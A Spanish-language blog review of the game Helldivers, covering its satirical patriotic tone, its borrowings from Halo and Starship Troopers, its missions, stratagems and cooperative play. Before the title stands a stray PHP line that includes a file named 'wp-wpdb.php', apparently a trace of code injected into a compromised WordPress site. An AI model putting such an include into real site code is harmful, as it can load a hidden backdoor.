if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Helldivers – La Fortaleza de LeChuck

Análisis Helldivers

La galaxia necesita urgentemente DEMOCRACIA y es nuestra labor como soldados de élite de la SUPERTIERRA llevar hasta los confines del universo la libertad. Libertad para morir en pro de la expansión humana. Este es, amigos míos, el principio básico de HELLDIVERS.

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Helldivers es el último juego en salir a la venta de Arrowhead Game Studios para PC y máquinas de Sony (con crossbuy/play/save, por cierto), que anteriormente nos trajo títulos como Magicka o Gauntlet.

El concepto es sencillo: en un futuro no muy lejano es nuestro deber, completamente altruista a cambio de unos míseros recursos muy valiosos, difundir por toda la galaxia la democracia, la justicia y la prosperidad. ¿Qué mejor forma de hacerlo que liberando de sus vidas a todos aquellos que se opongan a tan valeroso fin? En efecto, no hay mejor forma que traer la democracia que a base de sangre y plomo.

Es evidente que este dual-stick shooter trata de forma tan grotescamente patriótica y enaltecedora la voluntad expansionista humana que es imposible que uno se tome en serio su historia y universo. Esta capacidad de reírse de sí mismo le otorga un sentido del humor en medio de unas matanzas interplanetarias digno de carcajada. Viene a ser al patriotismo humano lo mismo que Planet Terror al cine de zombies. En mi opinión, esta forma de llevar la historia del juego y su universo es más que acertada, al optar por no contar una historia genérica de Humanos vs. Extraterrestres sin mayor relevancia. Bien, esa es la base pero, ¿quién va a encargarse de llevar a cabo todo el reparto de la democracia a lo largo y ancho de la galaxia? Pues, efectivamente, los soldados que dan nombre al juego: los HELLDIVERS.

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Los Helldivers son un cuerpo de soldados de élite que llevan el plagio de los ODST de Halo a otro nivel, un nivel tan marcadamente evidente que yo tildaría más de guiño que de vulneración del copyright de Microsoft (creado por Bungie originalmente). La forma de proceder de los Helldivers es exactamente la misma que la de los soldados del universo del Jefe Maestro, ya que son lanzados en capsulas desde una nave hasta la superficie planetaria (por no mencionar que los ODST son también conocidos como Helljumpers). Su aspecto, por otra parte recuerda excesivamente a una suerte de ODST cruzado con personaje de Destiny al llevar todos capa, por lo que asumo a alguien de Arrowhead le gusta el trabajo de Bungie, o puede que no, puede que sea todo circunstancial pero… No.

Pero ahí no acaban las influencias de Helldivers, pues el juego se impregna mucho de la atmósfera de Starship Troopers, aparte de lo obvio (muchos bichos y pocos soldados intentando resistir) los guiños son más que evidentes, pues varios de los logros del juego tienen como título frases de la película de ciencia-ficción y la banda sonora recuerda en exceso a la noventera cinta. Incluso vemos un informativo regularmente que evoca el mismo tipo de noticiario-propagandista de la película.

Una vez situados en el universo en el que se desarrolla el shooter espacial de Arrowhead es momento de desgranar las mecánicas jugables. Como jugadores encarnamos a un Helldiver (hombre o mujer a nuestra elección, jugablemente no hay diferencia) y nos situamos en una nave que funciona como base y centro de mando.
Es en esta nave donde nos moveremos entre misión y misión, en ella disponemos de un arsenal donde modificar nuestras armas comprando mejoras (de las que hablaré más adelante), tenemos también un laboratorio, que funciona como índice y bestiario de las distintas criaturas que vamos encontrando (matando) y, por último, dos plataformas, una en la que elegimos la misión que queremos llevar a cabo y el planeta elegido y otra destinada al multijugador.

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Las misiones se desarrollan de la siguiente forma: en el modo para un jugador elegimos un planeta, una misión (clasificadas según dificultad), dónde queremos aterrizar o “caer” y empezamos. En el modo multijugador podemos unirnos a otra nave o a una misión en curso.

El universo del juego se genera proceduralmente, así que las misiones son aleatorias pero similares entre sí, en ellas tenemos una serie de objetivos a cumplir y podemos decidir intentar llevar todos a cabo o, si las cosas nos van mal, irnos dejando alguna sin acometer. Cuando estimemos oportuno llamamos a la lanzadera al más puro estilo Starship Troopers y esperamos minuto y medio a que esta llegue, intentando resistir hasta entonces. Estas misiones suelen tener varios objetivos tales como capturar una zona, escoltar a unos supervivientes, llevar una caja negra hasta buen recaudo, etcétera… Al elegir inicialmente donde aterrizamos podemos hacerlo directamente encima de uno de los objetivos, con la ventaja de que llegamos directamente a ellos y con el inconveniente de encontrar mayor presencia enemiga.

Y hablando de enemigos, en la galaxia nos enfrentamos a tres facciones o tipos: ciborgs (el nombre lo dice todo), insectoides (de nuevo, el nombre ya arroja pistas) e iluminados (los Protos de Starcraft te saludan). Estas facciones están lo suficientemente diferenciadas entre sí como para no parecer un solo ejército con ‘skins’ distintas. En toda facción encontramos similitudes con las otras dos en cuanto a unidades, pero más centradas en frecuencia de aparición o poder que en cuanto a modo de proceder y atacar, habiendo los típicos soldados rasos en cada especie hasta “acorazados” muy difíciles de abatir pasando por una amplia gama de enemigos que atacan tanto a distancia como cuerpo a cuerpo dependiendo del tipo.

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Estos enemigos se mueven en patrullas alrededor del mapeado, en niveles bajos podemos evitarlos e ir cumpliendo objetivos sin llegar a tener que enfrentarnos en exceso a ellos mientras que en dificultades más altas serán más frecuentes los encuentros. Dichas patrullas dan el aviso cuando nos localizan si nos los despachamos rápido y llaman a unos refuerzos que llegan instantáneamente al lugar. Hasta aquí bien, “¿dónde está el problema?” puede que se pregunte alguno… El problema es el siguiente: los enemigos son infinitos y nuestra munición no, todo lo contrario. La munición es más bien escasa y algún que otro enemigo muy resistente (en niveles de dificultad altos roza la demencia), por lo que saber aprovecharla e incluso elegir qué batallas luchar y en cuales huir es fundamental para salir vivos. Un detalle que me parece más que destacable es el hecho de que al recargar desechamos el cargador con las balas que le queden, ya que la munición se cuenta por cargadores y no por número de balas, dotando al juego de un realismo en cuanto a la munición nada habitual.

Por suerte contamos con un elemento diferenciador de otros juegos: las estratagemas. ¿Qué son? Son una serie de balizas que lanzamos al campo de batalla y que nos permiten pedir suministros en cuestión de segundos (varía según la magnitud de lo pedido), ya sea munición, armas, torretas, un ataque aéreo, mechas, tanques o drones de apoyo… pero ojo con donde caen, pues más de una vez matarán a alguien. Estas estratagemas se equipan al inicio de la misión, su número de usos es limitado y se recargan entre uso y uso tras un tiempo. De este modo, al quedarnos sin munición, podemos lanzar una baliza con una combinación de botones más o menos complicada en relación a lo pedido.

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Al superar misiones recibimos una serie de puntos en función la dificultad, de las veces que hayamos muerto, los objetivos cumplidos y cuantos jugadores hayan subido a la lanzadera (esto último en multijugador). Estos puntos nos hacen subir de nivel y desbloquear tanto trajes (sin efecto más allá de lo estético) como armas y estratagemas, siendo a partir del nivel 15-20 más costosa la subida. A su vez, cada planeta se compone de 2 o más misiones y al completarlas todas conseguimos una recompensa, ya sea un bonus de experiencia, una estratagema, traje, etcétera…

Para poder mejorar el equipo, en cada planeta hay desperdigadas unas “muestras” que podemos buscar y recoger en función del peligro o urgencia que estemos padeciendo. Por cada 10 que recogemos (se acumulan entre misiones y planetas) recibimos un punto que servirá para añadir mejoras a las armas (de las cuales encontramos gran variedad) y estratagemas, cosa más que necesaria en aras de la cooperación con otros jugadores.

Y es aquí donde brilla Helldivers: es un juego que lleva el COOPERATIVO por bandera. Todo el juego está pensado para ser disfrutado en compañía de hasta otros 3 jugadores, ya sea en modo local (gamepad y teclado) u online (combinable con local). En niveles de dificultad bajos resulta un paseo por el parque (es el nombre de un nivel de dificultad (en serio)) pero en niveles medios y altos es muy necesaria la cooperación activa entre los jugadores, desde la elección del equipo al inicio de la misión para repartir los “roles” hasta en el desarrollo de la propia misión, que transmite en todo momento una sensación de “urgencia” al vernos completamente superados por los enemigos.
Por poner algunos ejemplos de la cooperación entre jugadores:
– Un jugador elige como estratagema un lanzacohetes y será otro el que recargue su munición reduciendo el tiempo de recarga drásticamente.
– Otro pide un tanque, pero por sí solo no puede hacer otra cosa que conducirlo, serán los otros los que disparen.
– Durante la desactivación de minas, un jugador puede ir desenterrándolas mientras que otro las desactiva y un tercero cubre la zona.

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Pero la cooperación no se reduce a esto, hay que elegir bien las estratagemas, ya que alguien debe ser capaz de reponer munición, otro deberá disponer de una bomba o arma especial para destruir según qué objetivo. De nada vale repetir estratagemas y elegirlas en beneficio propio, ya que de los otros jugadores dependerá exclusivamente nuestra supervivencia. Cuando uno de los Helldivers caiga herido en combate podrá pulsar reiteradamente los botones para levantarse pero si otro acude en su ayuda se pondrá en pie inmediatamente y, en caso de muerte, estará en manos de los supervivientes el traer de vuelta a los caídos con una baliza (que todos poseen por defecto) que se recarga tras un periodo de enfriamiento.
Hago especial hincapié en el tema de la cooperación porque es la premisa del juego, la “pantalla” es compartida y no conviene alejarse, todos deben moverse como una sola unidad y tener cuidado con donde se apunta el arma pues el fuego amigo es irremediable, haciendo que, en más de una ocasión, acabemos con algún aliado.
Mención especial para los momentos finales en los que esperamos la llegada a la desesperada de la lanzadera que nos evacue del infestado planeta al acabar la misión, donde se vive intensamente la tensión y donde el trabajo en equipo transfiere una sensación de épica asombrosa al salir vivos del hostil campo de batalla. Es aquí donde la música resuena con mayor intensidad, pasando bastante más desapercibida durante el resto de la partida.

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Un detalle a comentar es la participación entre todos los jugadores online de Helldivers, que suman puntos al superar planetas y rellenan una barra que sirve como gráfico de la conquista de una sección de la galaxia o una facción. Al resultar derrotada dicha especie desparecerá del juego por un tiempo.

A modo de conclusión y resumen: Helldivers es un juego (totalmente localizado al castellano) de mecánicas sencillas cuya única motivación para seguir adelante y dedicarle tiempo es la subida de niveles y desbloqueo de equipo que nos permita enfrentarnos a niveles de dificultad más altos. Carece de historia, lo sabe y se centra en ser un arcade poderosamente adictivo jugando en modo cooperativo, exponencialmente divertido en compañía de amigos. No se trata de ningún portento gráfico ni musical, pero sí cuenta con un apartado artístico atractivo (valiéndose de las influencias), destaca en tener un sentido del humor desenfadado e irónico y en ofrecer una elevada dificultad de base al escasear munición y al existir el fuego amigo, aspecto que, junto al elevado valor cooperativo, destaco como principal atractivo del juego. No recomendado para lobos solitarios.

¿Tienes sed? ¡¡Toma una LIBERTAZA!!

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